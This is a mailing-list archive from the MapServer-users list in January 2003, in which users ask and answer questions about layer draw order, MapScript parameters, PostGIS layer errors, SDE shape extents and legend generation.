~~~ DRAW the PNG files for map, scalebar, and reference map ~~~ $image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0); Dan Barron Principal / Founder Destination Software LLC - developers of Destination DIVE" dbarron at ddive.com http://www.destinationdive.com (619) 275-5346 _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users --=====================_7244625==.ALT Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Thanks Ed & Chip,

I tried to set the layer to type point and the problem=20 persists.

When I try to use the 'drawLabelCache()' method I get the following error at the line of the php/mapscript file making the method call -

Fatal error: MapServer Error in msGetBitmapFont(): Invalid bitmap font.
Must be one of tiny, small, medium, large or giant.

Currently I have the annotation layer as the last layer entry in the map file - and it is still being drawn over by the other layers.  Could it be how I am defining my other layers?  Here is an example:

LAYER
  NAME 'states'
  TYPE POLYGON
  STATUS ON
  DATA 'north_america/usa/statesp020'
  MAXSCALE 26000000
  MINSCALE 1
  GROUP 'north_america'
  CLASS
    NAME 'states'
    OUTLINECOLOR 204 204 204
    COLOR 255 255 204
    LABEL
     COLOR 0 0 0
        SIZE SMALL
    END
  END
END


Am I possibly running into a v3.5 issue?

Dan

At 12:47 PM 1/21/2003 -0600, Hankley, Chip wrote:
Dan,

try using 'drawLabelCache' from MapScript right before you render your final
image:

  $img =3D $map->draw();
  $map->drawLabelCache($img);
  $url =3D $img->saveWebImage(MS_PNG, $map->transparent, $map->interlace, 50);

Chip Hankley


-----Original Message-----
From: Ed McNierney [mailto:ed at topozone.com]
Sent: Tuesday, January 21, 2003 12:30 PM
To: Dan Barron; mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] How to Draw Annotation Layer=20 Last


Dan -

That seems very odd.  Can you try making the layer TYPE POINT and see if
that changes anything (just a stab in the dark)?

    - Ed
-----Original Message-----
From: Dan Barron [mailto:dbarron at ddive.com]
Sent: Tuesday, January 21, 2003 1:23 PM
To: Ed McNierney; mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] How to Draw Annotation Layer=20 Last


Ed,

Thanks for the reply.  I have and had tried moving the layer definition to
the beginning and the end of the map file with the same results.  I had
figured it to be more php/mapscript related issue, though when I draw the
layer last in php/mapscript I also have the same result - the annotation
layer is drawn under the other layers.  Any other ideas?

Thanks,

Dan

At 12:04 PM 1/21/2003 -0500, Ed McNierney wrote:

Dan -
 
MapServer draws all layers in order in the mapfile from bottom to top - that
is, each layer in turn is drawn on top of all preceding layers.  Put your
annotation layer as the last layer in the file.
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242

-----Original Message-----

From: Dan Barron [mailto:dbarron at ddive.com]

Sent: Tuesday, January 21, 2003 11:49 AM

To: mapserver-users at lists.gis.umn.edu

Subject: [Mapserver-users] How to Draw Annotation Layer Last


Hello,


I have searched through the archives w/o much luck on determining what I am
doing wrong. 


I am using MapServer v3.5 and am trying to draw an annotation layer so it is
always the last layer to be drawn and shows on top of all other layers.
Right now it is always drawn under my other layers and is not seen.  I also
use PHP/Mapscript to create the maps and have tried to force this layer to
be drawn last, w/o success.  Can anyone clue me in on the method to ensure
this layer is always draw last, either via the map file only or via
php/mapscript?  Below is the map file entry for the layer and the
php/mapscript snippet.


Thanks!



LAYER

 NAME 'credits'

 STATUS ON

 TRANSFORM false

 TYPE annotation

 FEATURE

   POINTS 5 10 END

   TEXT '=A9 www.destinati= ondive.com'

 END

 CLASS

   LABEL

     TYPE truetype

     FONT verdana

     SIZE 8

     ANTIALIAS true

     COLOR 0 0 0

     POSITION UR

   END

 END

END



// ~~~ DRAW Credits Layers ~~~

$creditsLayer =3D $map->getLayerByName( 'credits' );

$creditsLayer->set( 'status', MS_ON );

$creditsLayer->draw( $image );


// ~~~ DRAW the PNG files for map, scalebar, and reference map ~~~

$image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0);



Dan Barron

Principal / Founder

Destination Software LLC - developers of Destination DIVE"

dbarron at ddive.com

http://www.destinationdive.com

(619) 275-5346

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-user= s
--=====================_7244625==.ALT-- From dschrupp at ix.netcom.com Tue Jan 21 20:04:52 2003 From: dschrupp at ix.netcom.com (Donald L. Schrupp) Date: Tue, 21 Jan 2003 21:04:52 -0700 Subject: [Mapserver-users] RE: Compiling Insight Request - Mapserver 3.6.3 Message-ID: <3E2E1864.6B627FD0@ix.netcom.com> MapServer-Users, Antti Roppola pointed our the GCC 3.2 aspect; a light-bulb came, I hit the MapServer User List searchable archives, search on the term '__gxx_personality_v0' and found an email to or from rhornsby suggesting the addition of -lstdc++ on line 161 of the Makefile, and all compiled. On to setting up the Itasca demo, to see if all is well. Thanks to the 'community' for the group efforts! Don From ryanne.cruz at up.edu.ph Wed Jan 22 03:56:25 2003 From: ryanne.cruz at up.edu.ph (ryanne cruz) Date: Wed, 22 Jan 2003 19:56:25 +0800 Subject: [Mapserver-users] map member Message-ID: <1043236585.3e2e86e93c9ff@mail.up.edu.ph> hi list. to those using mapscript: does the height and width in the mapobj class member refers to the size of the map file? is this right: 1. $map->set(width,"300"); 2. $map->set(height,"300"); thanks! From prakhov at ggc.nnov.ru Wed Jan 22 04:22:40 2003 From: prakhov at ggc.nnov.ru (=?ISO-8859-1?B?z/Dg9e7iIMguIMAu?=) Date: Wed, 22 Jan 2003 15:22:40 +0300 Subject: [Mapserver-users] map member In-Reply-To: <1043236585.3e2e86e93c9ff@mail.up.edu.ph> References: <1043236585.3e2e86e93c9ff@mail.up.edu.ph> Message-ID: <10725961750.20030122152240@ggc.nnov.ru> rc> hi list. rc> to those using mapscript: rc> does the height and width in the mapobj class member refers to the size of the rc> map file? rc> is this right: 1. $map->>set(width,"300"); 2. $map->>set(height,"300"); rc> thanks! In my script: $map->set("width",$image_size_w); $map->set("height",$image_size_h); And this construction works. ---------------- Ilya.A.Prakhov mailto:prakhov at ggc.nnov.ru From lfilak at medinaco.org Wed Jan 22 05:23:04 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 22 Jan 2003 08:23:04 -0500 Subject: [Mapserver-users] map member Message-ID: <200301221319.h0MDJaR27017@yogi.medinaco.net> It refers to the image size. HTH Lowell F. The following message was sent by ryanne cruz on Wed, 22 Jan 2003 19:56:25 +0800. > > hi list. > > to those using mapscript: > > does the height and width in the mapobj class member refers to the size of the > map file? > > is this right: > > 1. $map->set(width,"300"); > 2. $map->set(height,"300"); > > thanks! > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From nida at webstar.co.uk Wed Jan 22 05:45:39 2003 From: nida at webstar.co.uk (nida Khan) Date: Wed, 22 Jan 2003 13:45:39 -0000 Subject: [Mapserver-users] label is not appearing only on one polygon Message-ID: <006001c2c21c$8cd901a0$a901a8c0@private.webstar.co.uk> This is a multi-part message in MIME format. ------=_NextPart_000_005D_01C2C21C.8C7BED80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi list, I having a very annoying problem. One of the polygon is not getting labeled for some reason. When I query that polygon, it display all the details!!! here is my layer def. LAYER=20 CONNECTIONTYPE postgis NAME "as_const" CONNECTION "host=3D10.3.4 port=3D343 user=3Dtest password=3Dtest = dbname=3Dtest" DATA "the_geom from (select oid,wkb_geometry,ogc_fid,admin_name, from = test_poly25) as foo" FILTER (ogc_fid > '999999') STATUS OFF METADATA "DESCRIPTION" "LONDON" "RESULT_FIELDS" "ogc_fid admin_name" END TYPE POLYGON =20 LABELITEM "admin_name"=20 CLASS TEMPLATE "ttt_query.html" NAME "as_const" OUTLINECOLOR 0 0 255 LABEL FORCE TRUE POSITION CC FONT fritqat-italic TYPE truetype SIZE 6 COLOR 0 0 0 # BACKGROUNDCOLOR 250 250 0 END #End of LABEL END # end of class object END # end of layer object Will appreciate any input! Many Thanks Nida. ------=_NextPart_000_005D_01C2C21C.8C7BED80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi list,
 
I having a very annoying problem.
One of the polygon is not getting labeled for some=20 reason.
When I query that polygon, it display all the=20 details!!!
 
here is my layer def.
 
LAYER 
  CONNECTIONTYPE postgis
  NAME=20 "as_const"
  CONNECTION "host=3D10.3.4 port=3D343 user=3Dtest = password=3Dtest=20 dbname=3Dtest"
   DATA "the_geom from (select=20 oid,wkb_geometry,ogc_fid,admin_name, from test_poly25) as foo"
  = FILTER=20 (ogc_fid > '999999')
  STATUS OFF
 =20 METADATA
        "DESCRIPTION"=20 "LONDON"
        "RESULT_FIELDS" = "ogc_fid=20 admin_name"
  END
  TYPE POLYGON   =
 =20 LABELITEM "admin_name"
  CLASS
    TEMPLATE=20 "ttt_query.html"
    NAME = "as_const"
   =20 OUTLINECOLOR 0 0 255
   =20 LABEL
      FORCE=20 TRUE
      POSITION=20 CC
      FONT=20 fritqat-italic
      TYPE=20 truetype
      SIZE=20 6
      COLOR 0 0 = 0
     #=20 BACKGROUNDCOLOR 250 250 0
    END #End of = LABEL
  END=20 # end of class object
END # end of layer object
 
 
Will appreciate any input!
Many Thanks
Nida.
------=_NextPart_000_005D_01C2C21C.8C7BED80-- From ycnyon at pd.jaring.my Wed Jan 22 18:33:03 2003 From: ycnyon at pd.jaring.my (YC Nyon) Date: Thu, 23 Jan 2003 10:33:03 +0800 Subject: [Mapserver-users] RE: Distancetoshape question (MS-PHP) Message-ID: <000b01c2c291$3cfaa1a0$5340baca@gis> i'm using the distancetoshape function in PHP-MS. Question is if the shape is a polygon (i.e. buildings), where is the point taken to calculate the distance? the centroid? Regards Nyon --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.443 / Virus Database: 248 - Release Date: 10/01/2003 From assefa at dmsolutions.ca Wed Jan 22 07:52:36 2003 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Wed, 22 Jan 2003 10:52:36 -0500 Subject: [Mapserver-users] RE: Distancetoshape question (MS-PHP) References: <000b01c2c291$3cfaa1a0$5340baca@gis> Message-ID: <3E2EBE44.2FF85F09@dmsolutions.ca> The distancetoshape calculates the MINIMUM distance between a point and a shape. So the closest point on the shape will be used to do the distance calculation. YC Nyon wrote: > i'm using the distancetoshape function in PHP-MS. > Question is if the shape is a polygon (i.e. buildings), where is the point > taken to calculate > the distance? the centroid? > > Regards > Nyon > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.443 / Virus Database: 248 - Release Date: 10/01/2003 > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From kames at keyspanenergy.com Wed Jan 22 08:25:12 2003 From: kames at keyspanenergy.com (Kieran J. Ames) Date: Wed, 22 Jan 2003 11:25:12 -0500 Subject: [Mapserver-users] OT: Extracting dead ends from a polyline theme Message-ID: <3E2EC5E8.49752096@keyspanenergy.com> List, Sorry for the off-topic, but I've looked everywhere trying not to bother the group. I've discovered Fred Pierssen's EDTOOLS script and have used it to extract intersections from a road theme. However, lines that terminate (Dead Ends) are not extracted. Any thoughts on how I might capture them? I tried extracting ALL points from the polyline theme, but that gives me an unwieldy point theme which contains ALL VERTICES as well, which is not where I'm aiming. Suggestions on how to extract deadends appreciated. AV3.1 WINNT GIS Spatially-Challenged Thanks, Kieran Ames From dlowther at ou.edu Wed Jan 22 08:48:15 2003 From: dlowther at ou.edu (Lowther, David W) Date: Wed, 22 Jan 2003 10:48:15 -0600 Subject: [Mapserver-users] OT: Extracting dead ends from a polyline th eme Message-ID: Kieran, So, you have 2 point shapefiles. 1 has intersections, 2 has all points. Select the features from 2 that overlap 1. Switch the selection. Create shapefile 3 that has all points that are not intersections. Select roads that overlap shapefile 3. These should be your roads that are deadends. Good Luck! Dave -----Original Message----- From: Kieran J. Ames [mailto:kames at keyspanenergy.com] Sent: Wednesday, January 22, 2003 10:25 AM To: mapserver-users Subject: [Mapserver-users] OT: Extracting dead ends from a polyline theme List, Sorry for the off-topic, but I've looked everywhere trying not to bother the group. I've discovered Fred Pierssen's EDTOOLS script and have used it to extract intersections from a road theme. However, lines that terminate (Dead Ends) are not extracted. Any thoughts on how I might capture them? I tried extracting ALL points from the polyline theme, but that gives me an unwieldy point theme which contains ALL VERTICES as well, which is not where I'm aiming. Suggestions on how to extract deadends appreciated. AV3.1 WINNT GIS Spatially-Challenged Thanks, Kieran Ames _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From kames at keyspanenergy.com Wed Jan 22 09:39:59 2003 From: kames at keyspanenergy.com (Kieran J. Ames) Date: Wed, 22 Jan 2003 12:39:59 -0500 Subject: [Mapserver-users] OT: Extracting dead ends from a polyline theme References: Message-ID: <3E2ED76F.9C9E9C5C@keyspanenergy.com> DAvid, I gave that some (thorough?) thought. However, when I use EDTOOLS for all points, it extracts ALL VERTICES as points. So, along with dead ends, I get every vertex in the shapefile. Matching that back to the road theme would put me back where I started, but without the start/end nodes. I'm toying with the shp2gen script now. I think I can write a script to parse a GEN file and get the first and last coord of each polyline. However, when I did it manually, I ran upon some errors. ...perhaps I missed some data points during the monotony. Kieran "Lowther, David W" wrote: > Kieran, > > So, you have 2 point shapefiles. 1 has intersections, 2 has all points. > Select the features from 2 that overlap 1. Switch the selection. Create > shapefile 3 that has all points that are not intersections. Select roads > that overlap shapefile 3. These should be your roads that are deadends. > > Good Luck! > > Dave > > -----Original Message----- > From: Kieran J. Ames [mailto:kames at keyspanenergy.com] > Sent: Wednesday, January 22, 2003 10:25 AM > To: mapserver-users > Subject: [Mapserver-users] OT: Extracting dead ends from a polyline > theme > > List, > Sorry for the off-topic, but I've looked everywhere trying not to bother > the group. > > I've discovered Fred Pierssen's EDTOOLS script and have used it to > extract intersections from a road theme. However, lines that terminate > (Dead Ends) are not extracted. Any thoughts on how I might capture them? > > I tried extracting ALL points from the polyline theme, but that gives me > an unwieldy point theme which contains ALL VERTICES as well, which is > not where I'm aiming. > > Suggestions on how to extract deadends appreciated. > > AV3.1 > WINNT > GIS Spatially-Challenged > > Thanks, > Kieran Ames > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Wed Jan 22 10:02:26 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 22 Jan 2003 12:02:26 -0600 Subject: [Mapserver-users] itemnquery and [shpext] Message-ID: I'm wondering if the code to convert a shape from the ESRI API format to the MapServer format isn't updating the shape extent. Can you get to the shape properties via the other query mechanisms or are they all busted? (The error message makes sense based on the extent values.) I'll check the SDE source now... Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> Oliver Wesp 01/20/03 03:00AM >>> Dear List, Maybe this is simple, cause I'm missing something. Maybe not. What I'm trying to do is to make a simple itemnquery (item/value) get the results and zoom the map to the extent of the result shapes. So what I thought I do is simply place [shpext] in my template file to get the extent and use this for creating the new map. Work fine except for the fact that the only thing I get back for [shpext] is '-1 -1 -1 -1'. Same for [shpmid] or any other extent related informationen about the shape. If I place mapext=[shapes] in my request (just to give it a shoot) mapserver tells me that it's not possible to generate a valid mapextent from selected shapes. Here is the setting -qlayer is of polygon type. -Datasource is SDE (8.2) -Mapserver is 3.6.1 and here is my request: http://mymachine/cgi-bin/mapserv? map=/var/apache/htdocs/project/myMap.map &mode=itemnquery &qLayer=myLayer &map_myLayer_filter="ITEM='VALUE'" &map_myLayer_data=SDEUSER.SDETABALE,SHAPE &map_myLayer_header=templates/searchheader.html &map_myLayer_template=templates/search.html &map_myLayer_footer=templates/searchcellfooter.html Any hint is appreciated. regards Oliver _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jeffb at erlandsen.com Wed Jan 22 10:32:46 2003 From: jeffb at erlandsen.com (Jeff Berry) Date: Wed, 22 Jan 2003 10:32:46 -0800 Subject: [Mapserver-users] Odd Error - Fixed In-Reply-To: <3E2CA03E.2010606@nacse.org> Message-ID: The lakes are all closed polygons. Is it even possible to have an unclosed polygon in a shapefile? In anycase, I fixed the problem by sorting the lakes shapefile and then using MAXFEATURES. It would only happen when I tried to draw too many lake features at once. I played with the MAXFEATURES value a bit until I found a setting that worked. If I tried to draw over 75 lakes in the view, it caused the error, but less than that and it rendered just fine. I still don't understand why this was happening, but at least I found a work around. Thanks, Jeff -----Original Message----- From: Dylan Keon [mailto:keon at nacse.org] Sent: Monday, January 20, 2003 5:20 PM To: Jeff Berry Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Odd Error Jeff Berry wrote: > I have a lakes polygon layer that draws just fine at large scales. However, > if I zoom out to the entire extent of the dataset I get the following error: > > Warning: MapServer Error in msDrawShape(): Only polygon shapes can be drawn > using a POLYGON layer definition. > > This happens with a couple other polygon layers as well, when I zoom out to > a point where a lot of polygon features are displayed in the current extent. > > What is causing this? Could those layers contain unclosed polygons? This is just a wild guess since I don't know how MapServer handles that type of situation, but perhaps the large scale views were successful because you happened to be displaying small regions where all polygons were closed. Then, when zoomed to full extent, MapServer throws the error when trying to render the unclosed polygons (?) If you have ArcInfo at your disposal you could try converting your shapefiles to coverages, running CLEAN to build polygon topology, and converting back to shapefiles. --Dylan -- ************************************************ Dylan Keon GIS/Database Research Specialist Northwest Alliance for Computational Science and Engineering (NACSE) Oregon State University Corvallis, OR 97331 keon at nacse.org (541) 737-6608 ************************************************ From steve.lime at dnr.state.mn.us Wed Jan 22 10:38:04 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 22 Jan 2003 12:38:04 -0600 Subject: [Mapserver-users] itemnquery and [shpext] Message-ID: Yup, wasn't setting the extent of shapes retrieved from SDE. I just fixed the 3.7 code and can send you the modifications for 3.6 if you'd like. If you're not in production you may want to try 3.7. We just added connection pooling yesterday and while not fully tested it makes a bit of difference with SDE. Steve >>> "Steve Lime" 01/22/03 12:02PM >>> I'm wondering if the code to convert a shape from the ESRI API format to the MapServer format isn't updating the shape extent. Can you get to the shape properties via the other query mechanisms or are they all busted? (The error message makes sense based on the extent values.) I'll check the SDE source now... Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> Oliver Wesp 01/20/03 03:00AM >>> Dear List, Maybe this is simple, cause I'm missing something. Maybe not. What I'm trying to do is to make a simple itemnquery (item/value) get the results and zoom the map to the extent of the result shapes. So what I thought I do is simply place [shpext] in my template file to get the extent and use this for creating the new map. Work fine except for the fact that the only thing I get back for [shpext] is '-1 -1 -1 -1'. Same for [shpmid] or any other extent related informationen about the shape. If I place mapext=[shapes] in my request (just to give it a shoot) mapserver tells me that it's not possible to generate a valid mapextent from selected shapes. Here is the setting -qlayer is of polygon type. -Datasource is SDE (8.2) -Mapserver is 3.6.1 and here is my request: http://mymachine/cgi-bin/mapserv? map=/var/apache/htdocs/project/myMap.map &mode=itemnquery &qLayer=myLayer &map_myLayer_filter="ITEM='VALUE'" &map_myLayer_data=SDEUSER.SDETABALE,SHAPE &map_myLayer_header=templates/searchheader.html &map_myLayer_template=templates/search.html &map_myLayer_footer=templates/searchcellfooter.html Any hint is appreciated. regards Oliver _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jpmclaro at yahoo.com.br Wed Jan 22 10:40:47 2003 From: jpmclaro at yahoo.com.br (=?iso-8859-1?Q?Jo=E3o_Paulo_M._Claro?=) Date: Wed, 22 Jan 2003 16:40:47 -0200 Subject: [Mapserver-users] Layer Mapinfo Message-ID: <002201c2c245$c8c3ead0$cb75e7c8@afxtd2002311172> This is a multi-part message in MIME format. ------=_NextPart_000_001F_01C2C235.03C96260 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dears, I am starting to use the MapServer with the MapLab now, as I make to add = to layer of the MapInfo type in my map? Grateful=20 Jo=E3o Paulo ------=_NextPart_000_001F_01C2C235.03C96260 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Dears,
 
I=20 am starting to use the MapServer with the MapLab now, as I make to add = to layer=20 of the MapInfo type in my map? Grateful
Jo=E3o Paulo
------=_NextPart_000_001F_01C2C235.03C96260-- _______________________________________________________________________ Busca Yahoo! O melhor lugar para encontrar tudo o que voc? procura na Internet http://br.busca.yahoo.com/ From TCHaddad at cshore.com Wed Jan 22 10:53:13 2003 From: TCHaddad at cshore.com (TCHaddad) Date: Wed, 22 Jan 2003 13:53:13 -0500 Subject: [Mapserver-users] How to Draw Annotation Layer Last Message-ID: <200301221353.AA1294008522@cshore.com> Dan I think your layer definition is missing LABELITEM ... so mapserver does not know what labels to draw. TH ---------------- Message: 12 Date: Tue, 21 Jan 2003 12:07:56 -0800 To: mapserver-users at lists.gis.umn.edu From: Dan Barron Subject: RE: [Mapserver-users] How to Draw Annotation Layer Last --=====================_7244625==.ALT Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Thanks Ed & Chip, I tried to set the layer to type point and the problem persists. When I try to use the 'drawLabelCache()' method I get the following error=20 at the line of the php/mapscript file making the method call - Fatal error: MapServer Error in msGetBitmapFont(): Invalid bitmap font. Must be one of tiny, small, medium, large or giant. Currently I have the annotation layer as the last layer entry in the map=20 file - and it is still being drawn over by the other layers. Could it be=20 how I am defining my other layers? Here is an example: LAYER NAME 'states' TYPE POLYGON STATUS ON DATA 'north_america/usa/statesp020' MAXSCALE 26000000 MINSCALE 1 GROUP 'north_america' CLASS NAME 'states' OUTLINECOLOR 204 204 204 COLOR 255 255 204 LABEL COLOR 0 0 0 SIZE SMALL END END END Am I possibly running into a v3.5 issue? Dan From m_anderson14 at hotmail.com Wed Jan 22 11:23:58 2003 From: m_anderson14 at hotmail.com (Michael Anderson) Date: Wed, 22 Jan 2003 19:23:58 +0000 Subject: [Mapserver-users] Re: Mapserver-users digest, Vol 1 #51 - 23 msgs Message-ID: Jeff, I posted a similiar error with polylines last week. The problem was there were some invalid polylines in the shapefile and when they were in the visible extent it threw the error. I found them by calculating the length in ArcView and found a few with an undefined length. Maybe you could try the same with the area. Mike Michael Anderson Spatial Information Technologies, Inc. _________________________________________________________________ STOP MORE SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail From jmccue at geovue.com Wed Jan 22 11:51:43 2003 From: jmccue at geovue.com (John McCue) Date: Wed, 22 Jan 2003 14:51:43 -0500 Subject: [Mapserver-users] Legends Message-ID: Are legends only created when MapServer is called from a web page? I would like to call MapServer from an app (using a URL) in addition to the web, and use the legend image it creates within my app. Is this possible? From jmccue at geovue.com Wed Jan 22 11:55:07 2003 From: jmccue at geovue.com (John McCue) Date: Wed, 22 Jan 2003 14:55:07 -0500 Subject: [Mapserver-users] DBF table joins In-Reply-To: Message-ID: Will DBF table joins be available for rendering layers? We need to be able to join so that we can use a joined field in the expression for a set of classes in a layer. From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Wed Jan 22 12:12:34 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Wed, 22 Jan 2003 15:12:34 -0500 Subject: [Mapserver-users] Legends Message-ID: <7CDD7B94357FD5119E800002A537C46E2305B9@s5-ccr-r1.ccrs.nrcan.gc.ca> John, Yes, this is perfectly doable. MapServer doesn't know or care wether it was called by a web browser or another app. Our site uses the technique you describe, and it's been working great for us. You can also use the mode=legend (if I remember correctly) to ONLY get a legend back. J.F. -----Original Message----- From: John McCue [mailto:jmccue at geovue.com] Sent: Wednesday, January 22, 2003 2:52 PM To: Mapserver-Users Subject: [Mapserver-users] Legends Are legends only created when MapServer is called from a web page? I would like to call MapServer from an app (using a URL) in addition to the web, and use the legend image it creates within my app. Is this possible? _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jmccue at geovue.com Wed Jan 22 12:15:12 2003 From: jmccue at geovue.com (John McCue) Date: Wed, 22 Jan 2003 15:15:12 -0500 Subject: [Mapserver-users] Legends In-Reply-To: <7CDD7B94357FD5119E800002A537C46E2305B9@s5-ccr-r1.ccrs.nrcan.gc.ca> Message-ID: Where does the legend image get written to? From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Wed Jan 22 12:24:48 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Wed, 22 Jan 2003 15:24:48 -0500 Subject: [Mapserver-users] Legends Message-ID: <7CDD7B94357FD5119E800002A537C46E2305BB@s5-ccr-r1.ccrs.nrcan.gc.ca> John, Depends ... in mode=legend, the image is returned "raw" to the client, or HTML if you use that feature. Otherwise, it would get written to whatever place you configured as the temporary directory in your mapfile. J.F. -----Original Message----- From: John McCue [mailto:jmccue at geovue.com] Sent: Wednesday, January 22, 2003 3:15 PM To: Mapserver-Users Subject: RE: [Mapserver-users] Legends Where does the legend image get written to? _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ed at topozone.com Wed Jan 22 12:29:47 2003 From: ed at topozone.com (Ed McNierney) Date: Wed, 22 Jan 2003 15:29:47 -0500 Subject: [Mapserver-users] Legends Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3BA7@mercator.topozone.com> John - If you use the "mode=" commands to have MapServer generate just the map, or just the scalebar, or just the legend, etc. then the image is written to cgi-bin stdout - that is, back to the caller, so you can use the MapServer URL as the SRC property of an IMG tag, as in: If you have the legend generated as one of several images in processing an HTML template, then MapServer will write the legend image to the tmp directory (specified in the MAP file) and substitute the URL to that image for the [legend] tag in the template. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: John McCue [mailto:jmccue at geovue.com] Sent: Wednesday, January 22, 2003 3:15 PM To: Mapserver-Users Subject: RE: [Mapserver-users] Legends Where does the legend image get written to? _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bwragg at tpg.com.au Wed Jan 22 12:41:52 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Thu, 23 Jan 2003 07:11:52 +1030 Subject: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() Message-ID: <000001c2c256$b278c370$0100a8c0@mapping12> Hi All, I've just fired PostGIS up and I'm getting the following error when I use the draw() method of the mapObj: Warning: MapServer Error in msPOSTGISLayerWhichShapes(): prep_DB:Error executing POSTGIS DECLARE statement (0.6 failed - retried 0.5 and it failed too). DECLARE mycursor BINARY CURSOR FOR SELECT asbinary(force_collection(force_2d()),'NDR'),OID::text from WHERE && setSRID('BOX3D(-180 -45,180 225)'::BOX3D, find_srid('','','') ) in C:\MAB\Dev\mapscripttest\test.php on line 4 >From what I've learnt so far, it seems that this query is missing the geometry columns. Any ideas why? Heres the map file I'm using: NAME TEST EXTENT -180 -90 180 90 SIZE 400 300 STATUS ON UNITS DD IMAGECOLOR 255 255 255 SYMBOLSET symbols.sym WEB MINSCALE 2000000 MAXSCALE 50000000 IMAGEPATH "c:/mab/dev/temp/" IMAGEURL "/ms_tmp/" END LAYER CONNECTIONTYPE postgis NAME "testpoints" # Connect to a remote spatial database CONNECTION "user=user password=password dbname=dbname host=localhost" # Get the lines from the 'geom' column of the 'roads' table DATA "the_geom FROM testpoints" STATUS default TYPE POINT CLASS COLOR 255 0 0 END END END I've tried all different configurations in the map file but I don't think this is the problem because the $map=ms_newMapObj('mapfile.map') line of code is getting executed with no errors. Also the $map object exists because I can print out some of the variables? Any ideas? Thanks, Benjamin Wragg From bwragg at tpg.com.au Wed Jan 22 13:00:15 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Thu, 23 Jan 2003 07:30:15 +1030 Subject: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() In-Reply-To: Message-ID: <000101c2c259$440a7890$0100a8c0@mapping12> Testpoints is a table in the database with a geometry column. It's a simple layer that contains 7 points. The geometry is held in the "the_geom" field and when I do a select on the table in psql I can see that in the "the_geom" field every record begins with "SRID=-1;POINT(" followed by the geometry. Cheers, Benjamin Wragg -----Original Message----- From: Lowther, David W [mailto:dlowther at ou.edu] Sent: Thursday, 23 January 2003 7:14 AM To: 'bwragg at tpg.com.au' Subject: RE: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() Benjamin, is there a geometry columns table in your database? does testpoints have a record in the table with SRID set? Dave -----Original 